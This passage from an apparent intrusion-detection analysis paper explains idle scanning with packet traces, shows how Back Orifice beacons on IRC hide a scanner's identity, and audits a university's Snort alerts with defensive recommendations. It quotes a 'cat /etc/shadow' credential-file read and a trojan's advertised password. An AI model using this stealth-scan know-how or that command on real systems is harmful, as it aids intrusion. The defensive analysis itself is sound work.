If cindy were not listening on port 80, it would send MY.NET.153.173 five RESET packets. According to TCP property #2, MY.NET.153.173 would NOT reply to the RESET. No packets would be sent and the IP identification field would stay at 55229 (next packet will be 55230).

Now, we send one more packet to MY.NET.153.173 to test what IP identification value it will return.

21:01:11.174363 rocky > 128.158.153.173: icmp: echo request (DF) (ttl 64, id 0)
21:01:11.174363 128.158.153.173 > rocky: icmp: echo reply (DF) (ttl 127, id 55235)

The IP identification field is 55235, so we know cindy is listening on port 80!

You can help to reduce the error margin on a busy dummy machine by sending more probe packets. For example, you could probe with 20 packets instead of 5. If you then look at the IP identification field and see that it increased by only 7, then you know the port is NOT listening. The 7 packets were traffic that did not belong to you. If the port had been listening, the ID field would have increased by 27.

There are currently two scanners that use the above methods to perform network scans:

IDLEScan can be found at:
http://www.securiteam.com/tools/3G5PWR5QAM.html
Ipidlescan can be found via:
http://groups.google.com/groups?q=ipidscan&hl=en&safe=off&rnum=2&selm=Pine.LNX.4.05.9912041802210.6557-100000%40marvin.junknet

Back Orifice anonymity example
(Back Orifice, http://www.cultdeadcow.com/)

TCPDump Traffic Capture:
12:09:03.679803 255.255.255.255.31337 > MY.NET.9.106.515: S 100:100(0) win 512
12:10:16.075887 255.255.255.255.31337 > MY.NET.50.118.515: S 100:100(0) win 512
12:22:53.984429 255.255.255.255.31337 > MY.NET.198.65.515: S 100:100(0) win 512
12:34:21.316541 255.255.255.255.31337 > MY.NET.92.76.515: S 100:100(0) win 512
12:36:57.274915 255.255.255.255.31337 > MY.NET.167.114.515: S 100:100(0) win 512
12:58:56.907831 255.255.255.255.31337 > MY.NET.6.169.515: S 100:100(0) win 512

At first glance, this traffic seems trivial. It may look as if the attacker was aiming toward a DOS attack with a spoofed broadcast source address. If the packet is successful, the receiving machine will attempt a broadcast of a RESET or SYN/ACK to the world. Another look indicates that the spoofed source address is using port 31337. This of course is Back Orifice. But what is the point here? If you were doing a DOS attack you'd be better off broadcasting an echo request, like a smurf attack. If you are scanning for Back Orifice, then you aren't going to get any results back. Yeah, the target computer may reply to 255.255.255.255, but that broadcast isn't going to make it to you. This is where a feature of some of the newer breeds of trojans comes into play. Trojans such as SubSeven and Back Orifice have advanced alert methods. You can configure them to

announce themselves to any number of users when they are available. They will send emails, send ICQ messages, or even join an IRC server and send a message into a particular channel. The last option, IRC, is what we will discuss here. I have joined popular channels on IRC that are dedicated to hosting these activation announcements for SubSeven and Back Orifice. No one really says anything. You just sit and wait. After awhile you see a message like so:

<sIttIngDucK> Back Orifice running at OUR.NETWORK.100.100:31337 User: were Pass: owned

So you know that this machine is a sitting duck. Enough said.

Let's get back to our example of the Back Orifice broadcast. Suppose the machine original destination address responds to the packet. It broadcasts a SYN/ACK to port 31337. On that same network segment is a Back Orifice infected machine. The Back Orifice machine is listening on port 31337, and receives this SYN/ACK. This is not a valid sequence in a three-way handshake, but Back Orifice doesn't care. It has received its announcement beacon. It proceeds to join an IRC channel dedicated to such announcements. Also listening in this channel is the true sender of the broadcast packet. The black hat got excellent results from their scan, and remained completely anonymous while doing so. Now they are off to their target.

It is very important for us as analysts to understand the latest techniques used in reconnaissance. In the networks I monitor, most detects we act on are still in the network foot printing stage. In this way we can deter a black hat before they have a chance to begin any active targeting. If our first encounter with a particular intruder is when 'cat /etc/shadow' trips a sensor, then we have missed previous opportunities to identify this attacker and protect our network.

References:

RFC 791
http://www.geektools.com/rfc/rfc791.txt
antirez < antirez@seclab.com >, new tcp scan,
http://www.securityfocus.com/frames/?content=/templates/archive.pike%3Flist%3D1%26mid%3D11581
IDLEScan
http://www.securiteam.com/tools/3G5PWR5QAM.html
Ipidlescan
http://groups.google.com/groups?q=ipidscan&hl=en&safe=off&rnum=2&selm=Pine.LNX.4.05.9912041802210.6557-100000%40marvin.junknet
Cult of the Dead Cow--- Creators of Back Orifice
http://www.cultdeadcow.com/

Part 3: Analyze This!

You have been asked to provide a security audit for a University. You have been provided with data from a Snort system with a fairly standard rulebase.

Data Overview

Snort data was provided to us at http://www.research.umbc.edu/~andy/. The following data sets were used:

Alert Files
Datasets from May 20 – May 29, 2001.

OOS Check Alerts
Datasets from May 20 – May 29, 2001.

Scan Files
Datasets from May 20 – May 29, 2001.

Data Analysis

I ran the data through SnortSnarf to generate alert counts.

The top signatures from the Alert dataset are as follows (this list does not include portscans):

Rank	Signature	# Alerts	# Unique Sources	# Unique Destinations
1	High port 65535 udp - possible Red Worm - traffic	22316	20	20
2	Watchlist 000220 IL-ISDNNET-990517	12043	105	54
3	WinGate 1080 Attempt	7744	81	128
4	Possible trojan server activity	5446	1435	2230
5	External RPC call	2551	18	1092
6	connect to 515 from outside	1474	8	983
7	High port 65535 tcp - possible Red Worm - traffic	908	30	27
8	SMB Name Wildcard	882	336	278
9	Port 55850 tcp - Possible myserver activity - ref. 010313-1	611	35	36
10	Tiny Fragments - Possible Hostile Activity	597	3	14
11	Queso fingerprint	474	43	79
12	TCP SRC and DST outside network	127	28	49

13	SUNRPC highport access!	112	7	7
14	Back Orifice	111	3	105
15	Watchlist 000222 NET-NCFC	89	12	9

Alert Analysis:

1 High port 65535 udp - possible Red Worm – traffic

Description:

Adore Redworm
From http://www.europe.f-secure.com/v-descs/adore.shtml:

Adore is a worm that spreads in Linux systems using four different, known vulnerabilities already used by Ramen and Lion worms. These vulnerabilities concern BIND named, wu-ftpd, rpc.statd and lpd services. Further information concerning this vulnerability can be found at:

RC1 Trojan
RC1 is another trojan which utilizes UDP port 65535. RC1 targets Microsoft operating systems. It listens on port 65535. An intruder will communicate through this port with the RC1 client to gain access to your system.

Aliases: Remote Control, Rc
Files: Rc1.zip - 2,005,874 bytes Service.zip - Setup.exe - 59,904 bytes ..... and many more
Created: Aug 1997
Actions: Remote Access
Versions: 1.4
Notes: Works on Windows 95, 98 and NT.
Program: Written in Visual Basic.

Analysis:

Over 99%+ of the 22000+ alerts involved the 4 unique IP addresses listed below:

64.42.64.129
205.167.0.160
192.168.97.195
192.168.71.69

Top Source IP addresses in alerts:

205.167.0.160 13876
192.168.97.195 7164
64.42.64.129 1236

Top Destination IP addresses in alerts:

192.168.71.69 13876
64.42.64.129 7164
192.168.97.195 1236

These 4 addresses generated these alerts in the following pairs (sample traffic):

05/21-18:57:58.814799 [**] High port 65535 udp - possible Red Worm - traffic [**] 205.167.0.160:65535 -> 192.168.71.69:27960
05/21-18:57:59.387357 [**] High port 65535 udp - possible Red Worm - traffic [**] 205.167.0.160:65535 -> 192.168.71.69:27960
05/21-18:57:59.613399 [**] High port 65535 udp - possible Red Worm - traffic [**] 205.167.0.160:65535 -> 192.168.71.69:27960

05/26-17:11:24.959104 [**] High port 65535 udp - possible Red Worm - traffic [**] 192.168.97.195:6112 -> 64.42.64.129:65535
05/26-17:11:25.056541 [**] High port 65535 udp - possible Red Worm - traffic [**] 192.168.97.195:6112 -> 64.42.64.129:65535
05/26-17:11:25.199306 [**] High port 65535 udp - possible Red Worm - traffic [**] 192.168.97.195:6112 -> 64.42.64.129:65535
05/26-17:19:44.566639 [**] High port 65535 udp - possible Red Worm - traffic [**] 64.42.64.129:65535 -> 192.168.97.195:6112
05/26-17:19:44.587259 [**] High port 65535 udp - possible Red Worm - traffic [**] 64.42.64.129:65535 -> 192.168.97.195:6112
05/26-17:19:44.952238 [**] High port 65535 udp - possible Red Worm - traffic [**] 64.42.64.129:65535 -> 192.168.97.195:6112

Local machines 192.168.71.69 and 192.168.97.195 have an alarming rate of traffic to the two outside IP addresses. According to the information on our two trojans, the 'victim' machine would be listening on port 65535. In our traffic, that would make the outside machines the victim. Nonetheless, we have reason to be alarmed in these two cases. Our machines could be acting as zombie bots, or a new variant of the trojan may be circulating.

Security Recommendation:

Immediately examine the local machines 192.168.71.69 and 192.168.97.195. There is a good chance these machines may be compromised in some way. In addition, port 65535 should be scanned throughout the network, and any machines found listening should be

further investigated. Patches for the Adore Worm are available from all major Linux vendors. All Linux systems in the network should be patched against this exploit.

7 High port 65535 tcp - possible Red Worm – traffic

Description

This is an alert focused on TCP Adore Red Worm traffic. This alert is analyzed out of order because of it's relation to the above alert.

Analysis

Once again, a small number of IP addresses make up 99%+ of the alerts.

192.168.217.18
164.107.56.53

Traffic Sample:
05/27-20:37:43.420055 [**] High port 65535 tcp - possible Red Worm - traffic [**]
164.107.56.53:65535 -> 192.168.217.18:2987
05/27-20:37:44.379276 [**] High port 65535 tcp - possible Red Worm - traffic [**]
164.107.56.53:65535 -> 192.168.217.18:2987
05/27-20:37:44.380515 [**] High port 65535 tcp - possible Red Worm - traffic [**]
164.107.56.53:65535 -> 192.168.217.18:2987

Security Recommendation:

In conjunction with the UDP Adore Red Worm alerts, local IP 192.168.217.18 should be immediately examined. The other recommendations for the UDP Adore alert should also be followed.

2 Watchlist 000220 IL-ISDNNET-990517

Description

This signature refers to a block of IP addresses. It is recommended that these addresses be closely monitored. Usually this alert results from internet security issues involving the ISP and/or it's users. In this case, the alert is targeted at the IP address block 212.179.0.0. Performing a 'whois' on this IP address gives us the following information:

inetnum: 212.179.0.0 - 212.179.1.255
netname: AREL-NET
descr: arel-net
country: IL

admin-c: TP1233-RIPE
tech-c: TP1233-RIPE
status: ASSIGNED PA
notify: hostmaster@isdn.net.il
mnt-by: RIPE-NCC-NONE-MNT
changed: hostmaster@isdn.net.il 19990624
source: RIPE

route: 212.179.0.0/17
descr: ISDN Net Ltd.
origin: AS8551
notify: hostmaster@isdn.net.il
mnt-by: AS8551-MNT
changed: hostmaster@isdn.net.il 19990610
source: RIPE

person: Tomer Peer
address: Bezeq International
address: 40 Hashakham St.
address: Petakh Tiqwah Israel
phone: +972 3 9257761
e-mail: hostmaster@isdn.net.il
nic-hdl: TP1233-RIPE
changed: registrar@ns.il 19991113
source: RIPE

Analysis

The top alert generators from our suspicious IP address block are as follows. What's interesting is that each IP sent packets to only 1 port, and the majority of these packets were sent to one IP address.

IP Address	# Alerts	Target IP Address	Ports Targeted
212.179.79.2	8443	192.168.202.222	4622
212.179.84.9	1374	192.168.218.42	1214
212.179.59.114	367	192.168.201.14	6699
212.179.83.169	309	192.168.205.202	4530
212.179.15.105	215	192.168.226.62	6699
212.179.127.50	169	192.168.150.220	1214
212.179.83.233	163	192.168.218.42	1214
212.179.95.13	90	192.168.150.143	1214
212.179.83.43	90	192.168.150.143	1214
212.179.95.9	90	192.168.205.202	4530

Of the Ports Targeted above, the only known service is the 'Napster' file sharing tool which runs on port 6699. Three local addresses, 192.168.218.42, 150.143, and 205.202

were targeted by multiple IP s. Also, although port 1214 is not a known service, the fact that it is targeted by 5 of the suspicious IP s is something that deserves a closer look. The same can be said of port 4530, which was targeted by two suspicious IP s. On a positive note, no internal machines sent packets back to a 212.179.x.x machine.

Security Recommendations:
The machines involved in the Napster traffic can be addressed according to the local network policy involving Napster. I would recommend a further analysis of the machines involved in the port 1214 and port 4530 traffic. At a minimum, a scan of ports 1214 and 4530 should be in order for those machines. There may be a new exploit involving either of these ports.

3 WinGate 1080 Attempt

Description:
Port 1080 is the SOCKS port. Most scans on this port are looking for proxy services such as Wingate, a popular firewall and proxy program for MS Windows. A proxy server will forward a user's traffic. By forwarding the traffic, only the proxy server's IP address is visible to the destination IP address. The original sender's IP address remains anonymous. The Wingate software package listens on SOCKS port 1080 and telnet port 23. By default, most versions of Wingate have no password authentication for telnet services. Wingate allows anonymous telnet redirection without logging. When a scanner discovers a machine listening on port 1080, then the scanner can further probe port 23 to see if it is a default-configured Wingate machine. Malicious use of proxy servers include anonymous network scanning, email bombing, and denial of service attacks.

Analysis

According to our logs, our topWingate traffic generators are as follows:

Top Wingate Scanners:

IP Address	# Wingate Alerts	# Unique Destination IPs
147.52.74.115	7325	1
209.212.128.47	58	15
130.227.3.123	39	24
195.66.170.8	32	11
204.117.70.5	31	6

Top Destinations of Wingate Attempts:

IP Address	# Wingate Alerts	# Unique Source IPs
192.168.15.214	7325	1
192.168.60.11	46	13
192.168.217.202	25	6
192.168.98.144	21	5
192.168.70.242	19	1

One entry sticks out in this group. Outside IP address 147.52.74.115 sent 7325 port 1080 packets to local machine 192.168.15.214. This was not indicative of Wingate scanning, as that is the only local IP the intruder targeted. All the packets had the following properties.

05/20-00:02:09.657384 [**] WinGate 1080 Attempt [**] 147.52.74.115:4158 -> 192.168.15.214:1080
05/20-00:03:12.662537 [**] WinGate 1080 Attempt [**] 147.52.74.115:1156 -> 192.168.15.214:1080
05/20-00:05:43.821686 [**] WinGate 1080 Attempt [**] 147.52.74.115:3555 -> 192.168.15.214:1080
05/20-00:14:09.696293 [**] WinGate 1080 Attempt [**] 147.52.74.115:3721 -> 192.168.15.214:1080

192.168.15.214 did not return any packets to machine 147.52.74.115. Normally, a proxy would send response traffic back to the source address. However, the intruder may be using the box as a middleman in a covert communication channel. Regardless of the exact usage, this direct targeting of our internal box is not normal traffic and should be further investigated.

The other scans listed were typical SYN sweeps of port 1080 searching for a proxy server among various nodes in our network. Nothing to be overly alarmed about as long as our machines are secured.

Security Recommendation:

Investigate the machine at 192.168.15.214. If this machine is running Wingate, or any other SOCKS proxy service, make sure it is configured correctly and all patches/updates are current. Note that this machine may have been used for malicious purposes. I would recommend a campus wide scan for listening 1080 ports. Any machines found listening should be investigated to make sure all proxy configurations meet the desired level of security.

4 Possible trojan server activity

Description:

This signature is targeted at packets destined for port 27374. This is the default port for many versions of the SubSeven (http://subseven.slak.org) trojan. SubSeven is a feature rich trojan which runs as a server on MS Windows and Macintosh machines. The server module of SubSeven is usually wrapped in an executable file. The executable will still run as expected, but unbeknownst to the user, the trojan is installed on their machine. Remote users access the compromised machine by using a client GUI. SubSeven allows full file access to your machine, as well as updating screenshots, keystroke logging, audio manipulation and mouse control. These features make this the most popular trojan on the internet today.

Analysis:

Most of the traffic seen was indicative of small-scale scans for SubSeven servers. There was also the occasional legitimate ephemeral port 27374 traffic.
Two sets of traffic are worth mentioning:

Machine 192.168.98.247 engaged in a session which had the characteristics of a SubSeven conversation. In this case, the remote machine, 24.180.160.210, would be the victim.

Here is a traffic sample, there were 31 total packets involved in this session:

05/20-00:23:56.390211 [**] Possible trojan server activity [**] 192.168.98.247:1394 -> 24.180.160.210:27374
05/20-00:23:57.430506 [**] Possible trojan server activity [**] 192.168.98.247:1394 -> 24.180.160.210:27374
05/20-00:38:36.546838 [**] Possible trojan server activity [**] 192.168.98.247:1394 -> 24.180.160.210:27374

SubSeven also can use an infected machine as a proxy, so this machine may be an infected middleman. I would recommend taking a closer look at this local machine to verify whether a SubSeven client or server is present.

The second group of troublesome traffic comes from 216.220.168.222. This IP address sent 4465 packets to port 27374. 2208 local machines responded with resets.

05/29-23:45:32.047477 [**] Possible trojan server activity [**] 216.220.168.222:1134 -> 192.168.200.2:27374
05/29-23:45:32.141092 [**] Possible trojan server activity [**] 216.220.168.222:1138 -> 192.168.200.6:27374
05/29-23:45:32.287858 [**] Possible trojan server activity [**] 216.220.168.222:1157 -> 192.168.200.25:27374

05/29-23:45:32.433815 [**] Possible trojan server activity [**] 216.220.168.222:1178 -> 192.168.200.46:27374

05/29-23:45:32.047671 [**] Possible trojan server activity [**] 192.168.200.2:27374 -> 216.220.168.222:1134
05/29-23:45:32.056037 [**] Possible trojan server activity [**] 192.168.200.3:27374 -> 216.220.168.222:1135
05/29-23:45:32.068853 [**] Possible trojan server activity [**] 192.168.200.4:27374 -> 216.220.168.222:1136
05/29-23:45:32.259198 [**] Possible trojan server activity [**] 192.168.200.21:27374 -> 216.220.168.222:1153

Although they didn't successfully locate a SubSeven server, they did manage to map the entire local network.

Security Recommendation:

There were a lot of scans for SubSeven. Since it is the most popular trojan on the internet, that can be expected. Since SubSeven can quickly cause havoc within a network, it is important to regularly scan internal machines as well as monitor the popular SubSeven ports.

5 External RPC Call

Description:

This signature is based on packets directed toward port 111, portmapper. A user would connect to port 111 in order to find out what highport RPC services are running. There are numerous exploits of the portmapper service, and it is a favorite target of scanners.

Analysis:

Although a high amount of portmapper scanning took place, there wasn't any evidence that an internal responded to the probes. Alert counts were evenly distributed across the internal IP address space. This indicates that random scanning took place, and no machines were actively targeted.

Security Recommendation:

Port 111 traffic should be blocked at the firewall. If this traffic should need to come through for any reason, open holes based on IP address. Any internal machines running portmapper should be checked for the latest patches.

6 Connect to Port 515 from Outside

Description:

Port 515 is used by the Line Printer Daemon (lpd) as a connect point for network printer services. It is also a popular scanning target due to an exploitable BSD printing package known as LPRng. The exploit can lead to root access. Enough said.

Analysis:

As with the port 111 scans, there was no evidence that an internal machine responded to the LPRng probes. Scans were evenly distributed across the network.

Security Recommendation:

External port 515 traffic should be blocked at the firewall. If some 515 traffic must be allowed through, address it on a case-by-case basis. Also scan for internal machines listening on port 515. These machines should be checked for LPRng exploits and patched/updated accordingly.

8 SMB Name Wildcard

MS Windows machines use netbios port 137 in order to resolve hostnames when given an IP address. Windows machines tend to be very chatty, and SMB Name Wildcard alerts are usually just normal traffic. This traffic can be accepted unless a machine is sending an extreme amount of port 137 traffic, or that machine has exhibited compromised behavior of another sort.

Analysis:

No machines exhibited a large amount of SMB Name Wildcard traffic. The alerts were evenly spread throughout the network.

Security Recommendation:

Network traffic should continue to be monitored for unusually large amounts of Netbios traffic.

9 Port 55850 tcp - Possible myserver activity - ref. 010313-1

Description:
Linux DDOS similar to Trinoo.

Analysis:
Message from Scott Conti in the SANS Analyzed Detects 8/22/2000

"….The signature that helped us find it was that the TCP sequence number was crafted and always identical (674719801)- it appears to be hardcoded in the binaries. Now we know that compromised boxes (Linux) are listening on port 55850 and have located a few

others. You may want to get the word out on this one - it is quite nasty ! Attached is the whole kit - our initial analysis appears in the README.ANALYSIS file. Please contact me if you need any additional information."

The following two machines generated 281 'my server' alerts as in this example:
192.168.201.6:6700 -> 209.237.3.70:55850

Security Recommendation:
Since our data did not have sequence numbers, it is hard to determine for sure whether this is definite myserver activity. I recommend an immediate scanning of 192.168.201.6 for any trojans.

10 Tiny Fragments - Possible Hostile Activity

Description:

Directly from RFC 1858 on the Tiny Fragment Attack
(http://www.geektools.com/rfc/rfc1858.txt)

> With many IP implementations it is possible to impose an unusually small fragment size on outgoing packets. If the fragment size is made small enough to force some of a TCP packet's TCP header fields into the second fragment, filter rules that specify patterns for those fields will not match. If the filtering implementation does not enforce a minimum fragment size, a disallowed packet might be passed because it didn't hit a match in the filter.

Analysis:

Of the 597 Tiny Fragment alerts, 584 of them involved these two IP addresses:

213.65.23.12 -> 192.168.226.62

It appears that 213.65.23.12 bombarded internal address 192.168.226.62 with fragmented traffic. Note that no port is listed. I can't be sure whether no port was detected by the sensor because of a fragmented header or not. Or this could be ICMP traffic. There is no indication in our data. This needs to be investigated further.

Security Recommendation:

Since 213.65.23.12 actively targeted 192.168.226.62, I would recommend scanning that box for any vulnerabilities. I would also recommend a review of your policy on allowing inbound echo requests. From a security standpoint, it is a good idea to block all incoming echo requests. Outgoing echo requests, along with incoming echo replies are okay.

11 Queso Fingerprint

Description:
Queso is a scanning tool which specializes in Operating System detection. It does this by setting different tcp flag combinations during IP scans. Since many OS's TCP stacks handle different flag combinations in unique ways, it is possible to judge what OS is running on the machine based on the responses.

Analysis:
The IP address that stands out as being suspicious is 199.183.24.194. This IP was involved in 643 Queso Fingerprint Alerts. In addition, this IP set off 231 "TCP Reserved Bits" alerts. It is obvious that this IP is doing OS recon on our network.

In total, this IP engaged 3 unique internal IPs:

192.168.253.41
192.168.253.42
192.168.253.43

Security Recommendation:
I would consider blocking this address at the firewall. This IP is definitely trying to gather information concerning our network. A vulnerability scan of the 3 internal IPs should also be performed.

12 TCP SRC and DST outside network

Description:
We are seeing traffic involving two machines outside our network. In a normal network configuration, this should not be happening.

Analysis:
Looking at the data provided, I cannot give a confident answer as to why this is happening. Some of it could be related to sensor placement. Some of it may be internal network configuration problems. More data is needed to provide an answer.

Security Recommendation:
I would recommend gathering more data and looking into this situation further.

13 SUNRPC highport access!

Description:
This is an attempt to access a high port Sun Remote Procedure Call. Access to RPC should be blocked to any outside IP addresses if at all possible.

Analysis:

Of the alerts, this is the only one that really concerns me

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
209.1.245.35	70	70	1	1

All the traffic from this IP address looked like the following:

05/22-00:42:56.258929 [**] SUNRPC highport access! [**] 209.1.245.35:6667 -> 192.168.219.82:32771
05/22-00:44:30.914831 [**] SUNRPC highport access! [**] 209.1.245.35:6667 -> 192.168.219.82:32771
05/22-02:21:53.601886 [**] SUNRPC highport access! [**] 209.1.245.35:6667 -> 192.168.219.82:32771
05/22-02:38:42.718502 [**] SUNRPC highport access! [**] 209.1.245.35:6667 -> 192.168.219.82:32771
05/22-02:43:07.609753 [**] SUNRPC highport access! [**] 209.1.245.35:6667 -> 192.168.219.82:32771
05/22-02:47:40.566581 [**] SUNRPC highport access! [**] 209.1.245.35:6667 -> 192.168.219.82:32771

While this at first can look like IRC traffic, there are a couple of things that make me think otherwise. First of all, the timestamps are 2 hours apart. There is no way that an IRC server will send you just 6 packets in a 2 hour period. And an IRC reconnect would not always choose port 32771. This could very well be some sort of attack on statd (usually runs on 32771).

Security Recommendation:
I would investigate 192.168.219.82, especially if it a unix/linux machine. I would also rethink any policies to allow high port RPC traffic into the network. It poses a large security risk, and there are just too many RPC exploits available. If you must keep these holes in the firewall, be sure to closely monitor that your RPC boxes' patches stay updated.

14 Back Orifice

Description:
Back Orifice is a trojan which offers remote features similar to SubSeven. It runs on port 31337 and infects MS Windows machines. It is the second most popular trojan behind SubSeven.

Analysis:

Of the 111 total alerts, no target machine received more than 2 port 31337 packets. This means that these were just back orifice scans and no internal machines responded to indicate they were infected.

Security Recommendation:
Back Orifice is a dangerous trojan. It is important to keep a close eye on suspicious 31337 traffic, and to always include Back Orifice in your security vulnerability scans.

15 Watchlist 000222 NET-NCFC

Description:
This signature refers to a block of IP addresses. It is recommended that these addresses be closely monitored. Usually this alert results from internet security issues involving the ISP and/or it's users. In this case, the alert is targeted at the IP address block 159.226.x.x. Performing a 'whois' on this IP address gives us the following information:

The Computer Network Center Chinese Academy of Sciences (NET-NCFC)
P.O. Box 2704-10,
Institute of Computing Technology Chinese Academy of Sciences
Beijing 100080, China
CN

Netname: NCFC
Netblock: 159.226.0.0 - 159.226.255.255

Coordinator:
Qian, Haulin (QH3-ARIN) hlqian@NS.CNC.AC.CN
+86 1 2569960

Domain System inverse mapping provided by:

NS.CNC.AC.CN 159.226.1.1
GINGKO.ICT.AC.CN 159.226.40.1

Analysis:

The top scanners from this IP range are as follows:

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
159.226.228.1	22	22	2	2
159.226.40.246	16	16	1	1
159.226.120.18	10	10	1	1

159.226.228.1 engaged in port 25 (mail) traffic with 192.168.253.42/43.

159.226.40.246 engaged in telnet traffic with 192.168.60.17.
159.226.120.18 engaged in port 25 (mail) traffic with 92.168.253.41.

None of these systems were involved in any more alerts.

Security Recommendation:

I would be concerned with the telnet traffic to 192.168.60.17. A vulnerability scan may be in order for that machine if regular telnet contact with this IP range is unusual. The same with the mail servers. If mail traffic from this IP block is unusual, then a closer look may be in order for the three apparent mail servers mentioned.

Fingerprinting/Recon Scans

There were several categories of alerts dedicated to packet with several different TCP flags/options set. These are typical of a OS detection type scanner, such as NMAP, Queso, etc… During analysis of these individual alerts, there were several IPs which worried me.

192.168.222.86
This internal machine engaged in heavy SYN scanning of external addresses. Either someone is using it as a gateway for their own scanning, or an internal employee is doing external recon.

192.168.150.220
This IP was involved in 760 alerts, most of them OS fingerprinting. This IP needs to have a vulnerability scan ASAP.

192.168.150.143
This machine was involved in 252 fingerprinting alerts from many unique external IPs. Statistically, this makes it stand out as being actively targeted.

192.168.150.133
This machine was involved in 150 fingerprinting alerts from many unique external IPs. Statistically, this makes it stand out as being actively targeted.

I would recommend a vulnerability scan for each of these machines.

Final Recommendations:

There is a very high level of network footprinting occurring in your network. The high traffic probing levels from the Watchlist 000220 IL-ISDNNET-990517 suggest that your network has been pointed out to a group of individuals in that region as an exploitable network. However, the situation is not nearly as bad as it could be, considering the lack

of packet filtering currently going on. With a better firewall setup and some more stringent user policies, the situation can be remedied.

To start with, the above mentioned security recommendations should be addressed for each individual exploit alert discussed.

In addition the following options should be strongly considered:

Firewall Configurations
Use a stateful firewall in order to better control access and filter packets.
I would recommend blocking SUNRPC highport access.
I would recommend blocking incoming ICMP echo requests.
Any outside port 515 packets should be denied.
A policy on how to deal with Napster and IRC traffic should be finalized.

Telnet and Standard FTP traffic should be replaced with SSH.
All system access lists should be reviewed to verify they are current.
In addition, a regular vulnerability scanning schedule is recommended.